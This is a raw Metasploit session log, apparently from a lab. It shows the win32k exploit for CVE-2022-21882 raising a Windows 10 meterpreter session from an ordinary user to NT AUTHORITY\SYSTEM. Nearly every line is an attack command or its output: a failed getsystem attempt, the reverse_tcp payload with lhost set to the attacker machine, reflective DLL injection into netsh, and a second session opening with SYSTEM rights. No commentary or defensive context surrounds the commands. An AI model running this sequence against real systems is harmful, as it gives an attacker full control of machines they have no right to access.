exploit/windows/local/cve_2022_21882_win32k

msf6 exploit(windows/local/cve_2022_21882_win32k) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-28AH6B2\lfy @ DESKTOP-28AH6B2  192.168.63.142:7979 -> 192.168.63.148:50378 (192.168.63.148)

msf6 exploit(windows/local/cve_2022_21882_win32k) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-28AH6B2\lfy
meterpreter > sysinfo
Computer        : DESKTOP-28AH6B2
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/local/cve_2022_21882_win32k) > set SESSION -1
SESSION => -1
msf6 exploit(windows/local/cve_2022_21882_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2022_21882_win32k) > set lhost 192.168.63.142
lhost => 192.168.63.142
msf6 exploit(windows/local/cve_2022_21882_win32k) > exploit

[*] Started reverse TCP handler on 192.168.63.142:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Launching netsh to host the DLL...
[+] Process 6644 launched.
[*] Reflectively injecting the DLL into 6644...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200774 bytes) to 192.168.63.148
[*] Meterpreter session 2 opened (192.168.63.142:4444 -> 192.168.63.148:50447) at 2022-08-17 15:08:28 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM